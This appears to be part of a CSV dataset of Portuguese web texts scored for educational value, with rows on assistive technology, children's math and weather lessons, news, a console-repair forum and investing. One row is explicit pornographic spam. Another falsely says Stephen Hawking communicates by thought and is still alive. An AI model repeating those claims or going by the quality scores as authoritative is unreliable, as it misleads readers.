+Conhecida como Tecnologia Assistiva, que identifica todos os recursos e ferramentas que proporcionam e aumenta às habilidades funcionais, ela promove vida independente e inclusão social à pessoas especiais.“O investimento na ciência tornou o dia a dia de deficientes mais agradáveis, além de criar possibilidades para que eles pudessem exercer ações que antes eram impossíveis”, diz a coordenadora de da Universidade de Tecnologia e Educação, Rita Barch.
+Os produtos desenvolvidos para esse fim vão desde softwares, até artigos de robótica. Existe uma vasta gama de estratégias, serviços, equipamentos e práticas arquitetadas e dedicadas para monitorar os problemas encontrados nessas pessoas.Bengalas luminosas, pernas robóticas, mouse ocular e visual, teclado virtual, guincho de piscina, stand table e robô que aumenta a força, são alguns dos equipamentos feitos ao decorrer dos anos para contribuir com autoestima de quem utiliza e que tem um fundamental papel na inclusão social.Cada um com sua funcionalidade, essas criações, ajudam desde fazer uma pessoa andar, até com que a voz seja reproduzida, através de equipamentos eletrônicos, dando a deficientes físicos e mentais uma vida mais independente, mesmo com suas limitações.
+Stephen Hawking é um exemplo de capacidade e superação. Diagnosticado com Esclerose Lateral Amiotrófica ou ELA, ainda na juventude, o maior físico da história contemporânea perdeu, gradativamente, os movimentos do corpo devido ao desgaste ou morte de neurônios responsáveis pela função motora do corpo humano como braços, pernas e músculos.O gênio projetou ferramentas eletrônicas, que o faz falar e andar e, além disso, viver, o que era impossível para muitos médicos na época. Ele se comunica através de um aparelho eletrônico pelo pensamento. Além de ter constituído uma bela família, é vivo até hoje.
+Atualmente existem diversas empresas especializadas em adaptação e fabricação de equipamentos para lá de inovadores. No Brasil, existe uma lei que incentiva o fomento da tecnologia de bioengenharia nacional e a importação de produtos que provocam a inclusão social para quem necessita.“Com a disponibilidade de ferramentas que temos hoje, é gratificante para nós que trabalhamos na área ver a felicidade estampada no rosto de quem utiliza, com a sensação de independência, foi isso que sempre buscamos”, conclui Rita Barch.
+Publicado em TecnologiaMarcado Inovação, Tecnologia Assistiva, Tenologia
+Anterior Terapia ocupacional: a profissão que transforma
+Avançar Uma experiência inesquecível no universo do outro",original,original,original,original,3,0.6
+"Olá, pequenos exploradores da matemática! Já pararam para pensar que os números estão em todos os lugares? No relógio que marca a hora de brincar, na quantidade de brinquedos que vocês têm, na idade dos seus pais e avós... A matemática é como um mapa secreto que nos ajuda a entender o mundo! Hoje, vamos embarcar em uma aventura para desvendar os números e as operações básicas: adição, subtração, multiplicação e divisão. Preparem-se para muita diversão e aprendizado!
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+Começando pela adição, que é a arte de juntar coisas! Imagine que você tem 3 balas e seu amigo te dá mais 2. Quantas balas você tem agora? Isso mesmo, 5! A adição é como um superpoder que nos permite somar quantidades e descobrir o total. Podemos usar os dedos, desenhos ou até mesmo objetos para nos ajudar a adicionar. Que tal somar quantos lápis de cor você tem? Ou quantos brinquedos estão dentro da sua caixa?
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+A subtração é o oposto da adição: é quando tiramos algo de uma quantidade. Se você tem 7 figurinhas e dá 3 para o seu irmão, com quantas figurinhas você fica? Isso mesmo, 4! A subtração nos ajuda a descobrir a diferença entre as coisas. Podemos pensar em situações do dia a dia: quantos biscoitos você comeu do pacote? Quantos carros vermelhos você viu na rua?
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+Agora, vamos falar da multiplicação, que é uma forma rápida de adicionar a mesma quantidade várias vezes. Pense que você quer dar 2 balas para cada um dos seus 4 amigos. Quantas balas você precisa no total? Em vez de somar 2+2+2+2, podemos simplesmente multiplicar 2 por 4, que dá 8! A multiplicação é como um atalho mágico que nos ajuda a resolver problemas mais rapidamente. Já pensou em quantas rodas têm 3 carros? Ou quantos dedos têm 5 crianças?
+
+E, por último, mas não menos importante, temos a divisão, que é a arte de repartir as coisas em partes iguais. Imagine que você tem 10 chocolates e quer dividir igualmente entre você e seu amigo. Quantos chocolates cada um de vocês vai receber? Isso mesmo, 5! A divisão nos ajuda a compartilhar e a distribuir as coisas de forma justa. Que tal dividir seus brinquedos com seus irmãos? Ou dividir as tarefas de casa com seus pais?
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+Perceberam como a matemática está presente em tudo o que fazemos? Os números e as operações básicas são ferramentas incríveis que nos ajudam a resolver problemas, a entender o mundo e a tomar decisões. Então, da próxima vez que vocês virem um número, lembrem-se: ele é muito mais do que um simples símbolo! Ele é parte de um universo fascinante que está esperando para ser explorado. Continuem praticando, perguntando e se divertindo com a matemática. E lembrem-se: a matemática não é difícil, é apenas diferente!",Matemática,Números e operações básicas,anos iniciais (1º ao 5º ano),"O trecho recebe a pontuação máxima (5) por apresentar alto valor educacional e adequação para o ensino fundamental (anos iniciais). Introduz conceitos matemáticos básicos (adição, subtração, multiplicação e divisão) de forma lúdica e contextualizada, utilizando exemplos do cotidiano das crianças. A linguagem é clara, acessível e motivadora, incentivando a exploração e o aprendizado da matemática. O texto é coerente, completo e não apresenta informações irrelevantes ou conceitos complexos inadequados para o nível de escolaridade.",5,1.0
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+14º Congresso_Uma agenda estra... (605.9Kb)
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+UMA AGENDA ESTRATÉGICA PARA A GESTORES E TRABALHADORES DE CONSULTÓRIOS NA RUA
+Machado, Marcelo Pedra Martins et al. | Date Issued: 2020
+Author
+Machado, Marcelo Pedra Martins
+Damásio, Fabiana
+Affilliation
+Sem afiliação.
+Sem afiliação.
+Abstract in Portuguese
+Apresentação: Uma agenda estratégica para a gestores e trabalhadores de Consultórios na Rua Apresentação: A população em situação de rua (PSR), representada por 101.854 pessoas no Brasil, de acordo com os dados do Instituto de Pesquisa Estatística Aplicada (IPEA), tem exigido dos governos, nos últimos anos, políticas públicas específicas e serviços voltados ao atendimento de suas demandas e necessidades. Em 2008, a Pesquisa Nacional sobre PSR, realizada pelo Ministério do Desenvolvimento Social (MDS), já havia colocado a questão da PSR em evidência para a sociedade e o governo brasileiro, fornecendo subsídios para a formulação das políticas públicas implantadas atualmente. O número total de pessoas em situação de rua apresentado foi 31.922 até aquele momento, nas 71 cidades pesquisadas. No ano de 2009, informada pela pesquisa do MDS, foi criada a Política Nacional para População em Situação de Rua (PNPR), a partir de intensa participação dos movimentos sociais ligados à PSR. A PNPR aponta como cerne a garantia de acesso desta população específica aos serviços e às políticas públicas, em especial as do Sistema Único de Saúde (SUS) e Sistema Único de Assistência Social (SUAS). É a partir dessas iniciativas e por meio da Política Nacional da Atenção Básica (PNAB), que as equipes de Consultório na Rua (eCR) passam a ser vistas como uma estratégia de cuidado integral à PSR. Os Consultórios na Rua são equipes multiprofissionais que desenvolvem suas atividades de forma itinerante e também nas Unidades Básicas de Saúde (UBS) locais. Neste contexto, o objetivo deste trabalho foi apresentar uma agenda estratégica para gestores e trabalhadores de Consultórios na Rua, a partir das realidades dos territórios e dos processos de trabalho das equipes do Distrito Federal. Desenvolvimento: descrição da experiência ou método do estudo: Este estudo é um estudo descritivo e analítico sobre as práticas de cuidado produzidas pelas eCR no Distrito Federal com base na abordagem qualitativa e utilizando o referencial teórico da Psicossociologia. A população-alvo foi os gestores e trabalhadores das eCR/DF, com a participação de 4 (quatro) gestores e 16 (dezesseis) trabalhadores. O detalhamento da população será explicitado no decorrer deste capítulo. A pesquisa foi composta das seguintes etapas: reunião de apresentação e construção do processo de investigação junto aos gestores e trabalhadores das eCR; entrevistas com os gestores das eCR/DF (4 entrevistas); aplicação de um questionário sobre as práticas das equipes com os trabalhadores das eCR/DF (16 questionários); e realização de um Café Mundial com os trabalhadores e gestores das eCR/DF (20participantes). Brasília conta com 3 eCR (Plano Piloto, Taguatinga e Ceilândia). Resultado: Os efeitos percebidos decorrentes da experiência ou resultados encontrados na pesquisa. Neste ponto, no intuito de qualificar as práticas e o processo de trabalho dos Consultórios na Rua/DF, foram sistematizados todos os dados levantados durante as entrevistas com os gestores das eCR, os questionários com os trabalhadores das eCR, juntamente com os conteúdos dos debates e da produç...",original,original,original,original,3,0.6
+"Projeto João Zaffari forma mais 11 jovens para o mercado de trabalho - Portal Rádio Uirapuru | Notícias de Passo Fundo e região
+Projeto João Zaffari forma mais 11 jovens para o mercado de trabalho
+Desde 2006 a Comercial Zaffari, por meio do projeto João Zaffari, qualifica e insere jovens no mercado de trabalho. Desde a sua criação, já formou mais de 270. Ontem (12) a empresa realizou a formatura da 24ª turma do projeto, com 11 alunos. A atividade foi realizada na Acisa.
+A coordenadora do curso, Anelisa Lorenzi, contou que, ao longo de três meses e meio, os participantes recebem aulas de noções básicas sobre a estrutura e funcionamento de empresas. Eles aprendem sobre logística, armazenagem, reposição, exposição, comunicação, atendimento ao cliente, trabalho em equipe, postura profissional e relacionamento interpessoal.
+Anelisa disse que durante esse período eles também fizeram estágio. A ideia é que saiam aptos para todas as funções de mercado. Além disso, ao completar o curso, os jovens são encaminhados a vagas de trabalho. São formadas duas turmas por ano. A coordenadora destacou que as inscrições para a próxima turma, que inicia no dia 13 de agosto, já estão abertas.
+Os interessados devem ter entre 16 e 17 anos e estarem estudando. É preciso ir pessoalmente no RH da Comercial Zaffari (Rua Fagundes dos Reis, 83) para preencher um formulário. O curso é gratuito e a empresa oferece material didático, vale-transporte e uniforme.",original,original,original,original,3,0.6
+Fimes Porno safada sensual dando demais em uma foda de noite aonde a gata esta em sua casa sendo comida. Esta puta safada bem sensual esta no porno todo gostoso fodendo com um rapaz que come bom demais a puta nua em uma transa safada e de jeito aonde a gostosa nua fode bom no fimes porno.,original,original,original,original,0,0.0
+"Bitcoin: a moeda digital que chegou para ficar?
+Criada há mais de nove anos, mas só agora tomou grande proporção mundial, a bitcoin é uma moeda, assim como o real, mas não existe fisicamente, é uma moeda digital, computada por um processo chamado de ""mineração"".
+O Instagram começa a buscar novos desafios, a pretenção é expandir seu acesso para locais onde não possui acesso a internet ou então que a conexão seja de baixa qualidade.
+Saiba quais são os custos para desenvolver um website.
+O formato pop-up está se consolidando entre os mais odiados da publicidade online.
+Aplicativo deverá expor anúncios de empresas e serviços.
+Câmara dos deputados analisa fim do dinheiro em espécie no Brasil
+Já imaginou viver em um país onde não existe cédula em dinheiro e todas transações financeiras fossem realizadas através de meios digitais?
+O data center chinês será construído em Guizhou, com a ajuda da empresa Guizhou-Cloud Big Data Industry Co Ltd (GCBD), e será parte do plano de investimento de US$1 bilhão na província.
+Serviço de streaming avaliou a internet baseada no tempo que elas levam para carregar filmes e séries.
+Fique em alerta com noticias falsas que são espalhadas nas redes sociais
+Identificar uma noticia falsa pode não ser tão simples quanto se imagina, por isso é importante ficar em alerta e saber como se precaver nesta situação.",original,original,original,original,2,0.4
+"O Diário de Anne Frank
+Quinta-feira, 16 de março de 1944
+Querida Kitty
+O tempo está lindo, espetacular. Tão bonito que nem consigo descrevê-lo. Vou subir até a água-furtada dentro de um minuto.
+Agora descobri por que sou muito mais inquieta do que Peter. Ele tem um quarto só dele para trabalhar, sonhar, pensar e dormir. Eu vivo aos trancos, de um canto para outro. Quase não fico no meu quarto compartilhado, e, no entanto, é a coisa que mais tenho vontade de fazer. É também por essa razão que fujo tantas vezes para a água-furtada. Lá, e com você, posso ser eu mesma por algum tempo, embora por muito pouco tempo. Não quero, porém, me lamentar; quero ser corajosa. Graças a Deus, ninguém vê meus sentimentos íntimos: estou me tornando cada vez mais fria com mamãe, já não sou tão afetuosa com papai e não conto mais nada a Margot. Fechei-me completamente. Acima de tudo, preciso manter a aparência exterior, ninguém deve saber da guerra que se trava em meu íntimo. Guerra entre o desejo e o bom senso. Até o momento que escrevo, tem ganho o último, mas, e se o primeiro demonstrar ser o mais forte dos dois? Às vezes receio que seja assim e outras vezes desejo que o primeiro saia vencedor!
+Oh, como é difícil nunca poder dizer nada a Peter; mas sei muito bem que o primeiro a falar deve ser ele. Há tanta coisa que desejo dizer e fazer, tanta coisa que já vivi em sonhos, que é duro ver passar mais um dia sem que nada disso se realize! Sim, Kitty, Anne é uma maluquinha, mas acontece que eu vivo em tempos loucos e em circunstâncias mais loucas ainda.
+Mesmo assim, o melhor de tudo isso é que posso escrever o que sinto e o que penso, do contrário estaria totalmente sufocada! Que pensará Peter de todas essas coisas? Tenho a esperança de que algum dia ainda poderei falar sobre tudo isso com ele. Peter deve ter adivinhado alguma coisa sobre minha pessoa, pois estou certa de que não poderia amar a Anne ""para uso externo"", aquela que conheceu até agora.
+Gostando tanto de paz e sossego, como pôde Peter ser atraído pelos meus modos estabanados e barulhentos? Teria sido ele o primeiro a enxergar através de minha armadura? Não existe um velho ditado que diz que o amor nasce da piedade e que ambos andam de mãos dadas? Será esse o meu caso? Porque, muitas vezes, tenho tanta pena dele como de mim mesma.
+Se eu mesma não sei como começar, que dizer dele, para quem a fala representa dificuldade ainda maior do que para mim? Se pudesse escrever a ele, pelo menos teria certeza de ser compreendida, pois é difícil transformar em palavras tudo o que sinto!",original,original,original,original,4,0.8
+"Meu Dreamcast não liga nem roda o motor...
+por Convidad em 6/1/2009, 10:46
+Ganhei um Dreamcast do meu primo, mas ele já veio com defeito. Quando eu ligo, o LED acende e a tela dá umas piscadas e depois fica azul, e o motor não roda.
+Última edição por Igor Isaias Banlian em 7/1/2009, 06:45, editado 2 vez(es) (Razão : Editado, de praxe, apenas para melhor visualização do seu problema.)
+Re: Meu Dreamcast não liga nem roda o motor...
+por Igor Isaias Banlian em 7/1/2009, 06:38
+Esse defeito pode ter muitas causas. Vou citar as principais e como você pode testar cada uma:
+1º) Defeito no BA. O BA é um chip (CI - Circuito Integrado) que comanda a Unidade Ótica e fica localizado na placa na qual a Unidade Ótica é conectada através de um Cabo Flat.
+Para testar se o defeito está nela, basta desconectar a placa onde está ligada a Unidade Ótica da placa principal do Dreamcast. Se depois disso ele ligar e exibir a tela de Boot (a que possuí as opções para o VMU, etc.) o defeito estará mesmo no BA.
+2º) A Unidade Ótica estar queimada ou em curto.
+Para testar, basta desconectar o cabo que conecta a Unidade Ótica à placa que fica logo abaixo dela. Se depois disso ele ligar e exibir a tela de Boot (a que possuí as opções para o VMU, etc.) o defeito estará mesmo na Unidade Ótica.
+3º) A Placa Fonte do Dreamcast.
+Para testar, você precisa de um Multímetro Digital e dessa imagem:
+Então basta você testar com o Multímetro na escala da Voltagem em Corrente Contínua (CC em Português ou DC em Inglês), essas voltagens de 3.3V, 5V e 12V (usando um dos 3 pinos Terra - GND - como referência). Se no lugar de alguma dessas, estiver uma voltagem mais de 1V abaixo ou acima disso, a sua Placa Fonte está com defeito e deverá ser substituída ou consertada por alguém que saiba fazer esse serviço.
+Obs.: Muitas outras coisas podem ocasionar esse problema, desde um simples Resistor, Diodo ou Transistor queimado ou danificado, até mesmo a GPU, CPU, Memórias, ou Bios com algum defeito...",original,original,original,original,2,0.4
+"Máfia que atua na região pode estar por trás da morte do prefeito - Agencialide
+Inicio Cidade Máfia que atua na região pode estar por trás da morte do...
+Polícias afirmaram não ter dúvida de que vão chegar aos criminosos (FOTO: MÁCIO FERREIRA / AG. PARÁ)
+Delegado geral da Polícia Civil revelou que execuções dos prefeitos de Tucuruí, Goianésia e Breu Branco são consequência de envolvimento político com mafiosos.
+Por volta do meio dia desta quarta-feira, 26, o titular da Secretaria de Estado de Segurança Pública e Defesa Social (Segup), Jeannot Jansen, o comandante da Polícia Militar, coronel Hilton Benigno e o delegado geral da Polícia Civil, Rilmar Firmino, chegaram em Tucuruí para acompanhar os trabalhos iniciais de investigação do assassinato do prefeito Jones William da Silva Galvão (PMDB), de 42 anos, ocorrido na tarde de terça-feira, 25.
+O delegado geral da Polícia Civil Rilmar Firmino rebateu de forma as críticas quanto às investigações relativas à série de execuções de políticos com mandato no sudeste do Pará. Foram cinco, de janeiro do ano passado até hoje. Ele afirmou não ter dúvida de que vão chegar aos criminosos, “ao contrário das declarações irresponsáveis de deputados que não têm compromisso com a verdade, que usam da imunidade parlamentar para semear a discórdia e dizer que a polícia não investiga”, alfinetou.
+O delegado também revelou que as execuções, como todo mundo já desconfiava, estão interligadas e são consequência do envolvimento dos políticos com uma máfia que atua na região. Sem dar nomes aos bois ou esclarecer de que exatamente se trata, o delegado geral mencionou que, “infelizmente, na política, pessoas de bem acabam fazendo acordos espúrios, e assim acaba acontecendo como acontece no tráfico de drogas”, e que “se trata de cobiça, de ambição pelo poder, como foram os casos de Goianésia, de Breu Branco, já temos elementos suficientes para dizer que foi isso”.
+O delegado geral adiantou, ainda, que os prefeitos assassinados – “pessoas de bem, que não tinham inimigos e não viviam na bandidagem” – fizeram articulações com gente errada, e concluiu que “dentro da política tem algumas articulações que acabam com as pessoas de bem pagando com a vida”.
+O caso de Goianésia, Rilmar Firmino contou que pouca gente sabe, mas o prefeito João Gomes, o Russo, foi morto a mando do finado vereador Zé Ernesto (também assassinado a tiros, no dia 18 de fevereiro deste ano, menos de um mês depois da morte de Russo). O pistoleiro que executou Russo está preso sendo capturado no Piauí, e os que mataram o prefeito de Breu Branco, Diego Kolling, “daqui a pouco” serão presos, asseverou o delegado.
+Rilmar Firmino também revelou que as execuções, como todo mundo já desconfiava, estão interligadas e são consequência do envolvimento dos políticos com uma máfia que atua na região. Sem dar nomes aos bois ou esclarecer de que exatamente se trata, o delegado geral mencionou que, “infelizmente, na política, pessoas de bem acabam fazendo acordos espúrios, e assim acaba acontecendo como acontece no tráfico de drogas���, e que “se trata de cobiça, de ambição pelo poder, como foram os casos de Goianésia, de Breu Branco, já temos elementos suficientes para dizer que foi isso”.
+Equipes da Divisão de Homicídios, da Superintendência Regional e da Seccional de Polícia Civil do Pará de Tucuruí, além da Inteligência da Secretaria de Segurança Pública e Defesa Social do Pará, estão investigando o assassinato do prefeito Jones Willian.
+Rilmar Firmino garantiu que, “apesar de complexa, a investigação vai chegar aos culpados pelo ‘crime de encomenda’. Assim foi em Goianésia, assim será em Breu Branco e Tucuruí”.
+O delegado informou que o prefeito foi morto com oito disparos de pistola (ponto 40); cinco acertaram a cabeça do gestor municipal. “É um crime de difícil elucidação, mas vamos chegar aos responsáveis. É um crime contra o Estado. Já estão sendo recolhidas câmeras de circuitos internos de residências, estabelecimentos comerciais, e sendo produzido...",original,original,original,original,1,0.2
+"DAVID SCHWIMMER - PAPELPOP
+Sarah Paulson e John Travolta irreconhecíveis no trailer de “American Crime Story”
+Chegou! A nova série derivada de “American Horror Story”, a “American Crime Story”, ganhou hoje o seu primeiro trailer completo que mostra um pouco do que vem por aí na temporada de estreia. Como você já deve estar sabendo, a série também será em formato antológico e nesse primeiro ano será focada no julgamento do ex-atleta […]
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+por Felipe Dantas em 21/05/2015 18:00",original,original,original,original,1,0.2
+"As informações da ficha técnica de Kobo Touch 2.0 são meramente indicativas. Se você detectar um erro, por favor nos informe através do icône à direita de cada especificação.",original,original,original,original,0,0.0
+"Mais Fórmula 1 - Notícias, vídeos, fotos, pilotos, equipes e muito mais - Part 10
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+"Notícias em primeira mão.: Palavra do dia - Seja forte! Socialite.activate (elemento, 'Widget');
+Assim é em nossas vidas, o inimigo sempre procura alguma área para atacar, mas quando percebemos o seu ataque, precisamos fazer como Moisés, tomar posição, nos apegar a palavra de Deus e adora-lo.",original,original,original,original,1,0.2
+"BBB20: Marcela comenta sobre o ""documento"" de Daniel
+Marcela comenta sobre o “documento” de Daniel e dá risada: “Não achava o buraco”
+Sister fez revelações picantes do namorado
+Após a eliminação de Daniel do BBB20, Marcela e mais sisters conversam no quarto do líder, e a namorada do gaúcho falou da intimidade dos dois. Surpreendendo as meninas, a médica contou que os dois nunca transaram por problemas na hora ‘H’.
+“Eu nem pude ficar líder, dormir sozinha aqui no quarto e fazer um edredom de respeito para essa edição”, Marcela lamentou “Nem a cabecinha, Má?”, Gizelly perguntou. “Não, só uns amassos”, ela respondeu.
+A sister continuou, e surpreendeu as colegas. “Ainda bem que ele errava o buraco”, disse aos risos. “Você vai ter muito trabalho com ele, vai ter que explicar para o menino toda a anatomia dos buracos”, disse Thelma, brincando. “Vai ser um prazer”, a médica respondeu. “Eu e Daniel vamos ser os primeiros alunos do curso”, comentou Gabi.
+Ainda curiosas por mais detalhes, as sister perguntaram sobre o tamanho do “documento” de Daniel. “Surpreendentemente. Mas eu não vi, né?”. “Roliço? É o que mais importa”, Gizelly quis saber, mas a sister desconversou. Depois a ginecologista disse que “se surpreendeu positivamente”.",original,original,original,original,0,0.0
+"Pesquisa da USP descobre como vírus deixa Leishmaniose mais agressiva - Notícias - BOL
+01/12/2019 17h39
+""Quando a leishmania infecta as pessoas fica uma queda de braço. Ela querendo sobreviver e nosso sistema imunológico tentando eliminar o parasita. Mas, quando a leishmania tem o vírus, ele' desliga' alguns dos mecanismos do nosso sistema imunológico que combatem o parasita"", destaca o autor da pesquisa, Renan Carvalho, cientista do Departamento de Biologia Celular e Molecular e Bioagentes Patoge?nicos da FMRP-USP.
+""Como essa proteína que mata a leishmania está sendo silenciada pelo vírus, a leishmania consegue sobreviver melhor, proliferar melhor e causar aquela forma da doença mais grave que é a leishmaniose mucocutânea. O parasita migra para o rosto das pessoas, tanto para a boca quanto para o nariz, e desfigura o rosto do paciente"", destaca Carvalho.
+De acordo com o pesquisador, o estudo abre caminho para novas formas de combater a leishmaniose e tratar os pacientes. ""A gente propõe que, a partir de agora, o paciente que chegue com suspeita de leshmaniose, ele seja diagnosticado não apenas para ver se tem a leishmania, parasita, mas que seja também feita uma análise molecular para ver se a leishmania possui o vírus"", diz Carvalho.",original,original,original,original,3,0.6
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+"Você já parou para pensar por que o céu é azul, como se formam as nuvens ou o que causa os ventos? A natureza está cheia de fenômenos incríveis que acontecem ao nosso redor o tempo todo, e entender esses fenômenos é como decifrar um código secreto da Terra! Vamos embarcar juntos nessa aventura pelo mundo da atmosfera, explorando alguns dos seus mistérios mais fascinantes.
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+A atmosfera é a camada de gases que envolve o nosso planeta, como um cobertor gigante que nos protege do frio do espaço e dos raios solares nocivos. Ela é composta por diferentes gases, como o nitrogênio, o oxigênio (que respiramos!), o gás carbônico e outros em menor quantidade. Essa mistura de gases é fundamental para a vida na Terra, pois regula a temperatura e permite a existência de água líquida, essencial para todos os seres vivos.
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+Um dos fenômenos mais visíveis na atmosfera são as nuvens. Elas se formam quando o vapor de água presente no ar se resfria e se condensa, transformando-se em pequenas gotículas de água ou cristais de gelo. Essas gotículas se juntam e formam as nuvens, que podem ter diferentes formas e tamanhos, dependendo das condições atmosféricas. Já reparou como as nuvens cirrus parecem pinceladas no céu, enquanto as cúmulos lembram algodão doce?
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+E o que dizer dos ventos? Eles são causados pelas diferenças de pressão do ar na atmosfera. O ar quente é mais leve e sobe, enquanto o ar frio é mais pesado e desce. Esse movimento do ar cria os ventos, que podem ser desde uma brisa suave até um furacão devastador. A força dos ventos é impressionante e influencia o clima de diferentes regiões do planeta.
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+As tempestades, com seus raios e trovões, também são fenômenos atmosféricos impressionantes. Os raios são descargas elétricas que acontecem entre as nuvens e o solo, ou entre as próprias nuvens. O calor intenso do raio aquece o ar rapidamente, causando uma expansão explosiva que gera o som do trovão. É por isso que vemos o raio antes de ouvir o trovão: a luz viaja mais rápido que o som!
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+Até mesmo o arco-íris é um fenômeno atmosférico fascinante. Ele surge quando a luz do sol atravessa as gotas de chuva e se divide em diferentes cores, formando um arco colorido no céu. Cada cor do arco-íris corresponde a um comprimento de onda diferente da luz.
+
+Entender esses fenômenos naturais nos ajuda a compreender melhor o nosso planeta e a importância de cuidar do meio ambiente. Afinal, as ações humanas podem influenciar o clima e a atmosfera, causando mudanças que afetam a todos. Que tal começarmos a observar mais atentamente o céu e os fenômenos que acontecem ao nosso redor? Quais outros fenômenos atmosféricos você já observou? Como eles te fazem sentir?
+
+A atmosfera está sempre nos mostrando sua beleza e complexidade, basta estarmos atentos e curiosos para desvendar seus segredos!",Ciências,Fenômenos naturais,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas sobre fenômenos atmosféricos, como a composição da atmosfera, a formação de nuvens, os ventos, tempestades e arco-íris, de forma acessível e interessante para crianças e adolescentes. A linguagem é clara e o conteúdo é adequado para o ensino fundamental, incentivando a observação e a curiosidade. O texto introduz conceitos importantes do currículo escolar de ciências e estimula a reflexão sobre a relação entre as ações humanas e o meio ambiente.",5,1.0
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+"Como todos sabemos, este evento foi programado para o dia de hoje porque em mais uma vez, no último 15 de maio, o mundo todo foi convidado a refletir sobre o Objetor de Consciência, no Dia Internacional a ele dedicado.
+A fixação pela ONU de Dias Internacionais - do qual talvez o mais conhecido seja o Dia da Mulher, 8 de março – tem esse objetivo: levar-nos a parar um pouco nossos afazeres e organizarmos encontros e manifestações em que reflitamos um pouco mais sobre nossos direitos e deveres em questões importantes para a vida das sociedades. No caso da Objeção de Consciência o que se busca é também ampliar a própria consciência desse Direito, ainda insuficientemente conhecido.
+Por exemplo, nesta sala: quantos de vocês sabem exatamente de que se trata? Quantos de vocês sabem que um dos nossos Direitos Fundamentais é recusar-nos a fazer coisas a que nos obrigam as leis vigentes, mas vão contra nossa consciência, por razões religiosas, éticas, morais, filosóficas, políticas, humanistas? Quantos sabemos o que fazer quando essa situação se apresenta e que leis podemos nos recusar a obedecer?
+Possivelmente depois de termos visto o filme que nos foi exibido já ficamos sabendo que pelo menos nos Estados Unidos os convocados como soldados numa guerra têm o direito de se recusar a matar outros seres humanos. O que pode ser uma surpresa para muitos. As guerras não consistem em matar o máximo possível de soldados inimigos? O absurdo das guerras é exatamente esse: elas são ganhas pelos que destroem mais seres humanos, casas, cidades, escolas, sistemas de transporte, fábricas, campos de produção agrícola... E há os que procuram regulamentá-las para que não sejam tão bárbaras, como os organismos internacionais que definem, por exemplo, o que não se pode fazer com prisioneiros ou que não devem ser atacados veículos inimigos pintados com uma cruz vermelha nem bombardear seus hospitais...
+O herói do filme foi talvez o único soldado – entre os milhares que combatiam em Okinawa, de um lado e de outro – que conhecia o direito de recusa e o fez valer. Todos os demais possivelmente nem cogitavam dessa possibilidade ou tinham sido suficientemente manipulados pela propaganda para realmente se disporem a lutar e morrer pela sua pátria - sem conhecer os reais objetivos dessa luta, com os quais até poderiam não concordar. Transformados em carne de canhão, como se diz.
+Se a guerra for para defender o país é mais difícil se recusar a empunhar armas do que se for para controlar territórios ou recursos. Mas num e noutro casso o que interessa aos que comandam é ter o menor número possível de mortos entre seus comandados e o máximo possível nos exércitos inimigos. São raciocínios inadmissíveis para quem coloca a Vida como valor primeiro. Mas somos de tal forma condicionados a aceitá-los que para muitos nosso personagem pode parecer até excêntrico, embora, por suas convicções religiosas, tenha inacreditavelmente conseguido o direito de salvar vidas, e até de inimigos...
+E é para assegurar a cega disposição de morrer pela Pátria que serve a organização militar. No seu universo mental a desobediência é inconcebível. A própria palavra tropa, usada para nomear tanto rebanhos de animais irracionais como soldados desfilando no mesmo passo, antes de serem enviados ao campo de batalha, já traduz o modo como nele são considerados os seres humanos. Não se espera que raciocinem, mas que não questionam ordens recebidas. Não há exército que sobreviva se for comandado democraticamente.
+Há generais que se defendem com a teoria de que certos fins justificam determinados meios. Não existe até na teologia cristã o princípio da guerra justa? Nesse caso pouco importam as qualidades, as relações familiares e sociais, os sonhos e esperanças de cada ser humano assassinado. Passarão a ser chamados de “perdas” ou “baixas”. E receberão lindas medalhas póstumas se tiverem tido comportamentos heroicos. Nem falemos das chamadas “perdas colaterais” - mortes de civis não visados nas “operaç...",original,original,original,original,3,0.6
+"Tosetto.com: Nada de novo no formigueiro
+Nada de novo no formigueiro
+“The Ant and the Grasshopper"" (1919), ilustração de Milo Winter (1886-1956) pertencente ao acervo do Projeto Gutenberg.
+A linha reta não existe no universo físico, apenas na teoria. A linha reta é um conceito abstrato. Quando ocorre um Circuit Breaker, fica evidente que a renda variável “varia” e que um patrimônio construído sobre estas bases não sobe em linha reta, mas sobe.
+Estamos em março de 2020. A Bolsa de São Paulo conta com centenas de milhares de investidores novatos, que estão experimentando os reflexos do primeiro Circuit Breaker de suas jornadas no mercado de capitais. No dia 9, o Ibovespa caiu cerca de 12%: a maior queda em um único dia de todo o século 21. Não é pouca coisa.
+O mercado vinha em alta prolongada, mas começou a inverter sua curva com as primeiras notícias do Coronavírus, em sua versão Covid-19, surgida na China. Logo a doença se espalhou por todos os continentes, forçando países a adotarem quarentenas, reduzindo deslocamentos de pessoas e mercadorias.
+Quando o componente do petróleo entrou na equação, devido à queda na demanda, Arábia Saudita e Rússia não se entenderam sobre o protocolo a ser seguido para evitar a volatilidade no preço do barril. As Bolsas ao redor do mundo reagiram mal. A Bolsa de São Paulo sofreu mais, assim como o Real, moeda que mais se desvalorizou frente ao Dólar.
+O último Circuit Breaker que a Bolsa do Brasil havia sofrido foi em 17 de maio de 2017, data que ficou conhecida como “Joesley Day���, devido ao vazamento de conversas pouco republicanas entre o empresário Joesley Batista e o Presidente Michel Temer, que sepultou, na ocasião, o andamento da Reforma da Previdência.
+O Circuit Breaker é um dispositivo que as Bolsas usam para interromper pregões eletrônicos sujeitos a volatilidades exageradas, sendo acionado geralmente para conter quedas abruptas.
+Se o Circuit Breaker de 2017 teve repercussão limitada ao mercado brasileiro, em função de uma notícia política local que logo foi absorvida – as ações se recuperaram logo; o primeiro Circuit Breaker de 2020 está relacionado a uma conjuntura internacional e provavelmente terá consequências mais duradouras, como pudemos verificar com as demais interrupções das negociações na B3 ao longo da semana decorrente.
+Tenho recebido perguntas a respeito deste momento de turbulência na B3. Em geral, meus contatos querem saber o que fazer. Que ações comprar? O que mudou?
+Não mudou nada. Não para quem é adepto do Value Investing e do Buy and Hold: investimento em valor focado no longo prazo. Quem adota estas premissas para comprar renda passiva tem mais é que comemorar.
+Investidores que aportam em ativos geradores de renda passiva torcem para que as ações de boas empresas e das cotas de bons fundos imobiliários estejam com preços descontados, para que o Dividend Yield seja mais alto. Sempre é bom lembrar: o Dividend Yield é a relação entre o preço pago por uma ação (ou cota) e o seu retorno nos últimos doze meses, em forma de dividendos.
+Quem investe pensando nos dividendos age como uma formiga: passa o verão coletando alimentos no entorno, para poder consumi-los no conforto do formigueiro, quando o inverno chegar. Por isso, as estratégias relacionadas aos dividendos geram carteiras previdenciárias de investimentos.
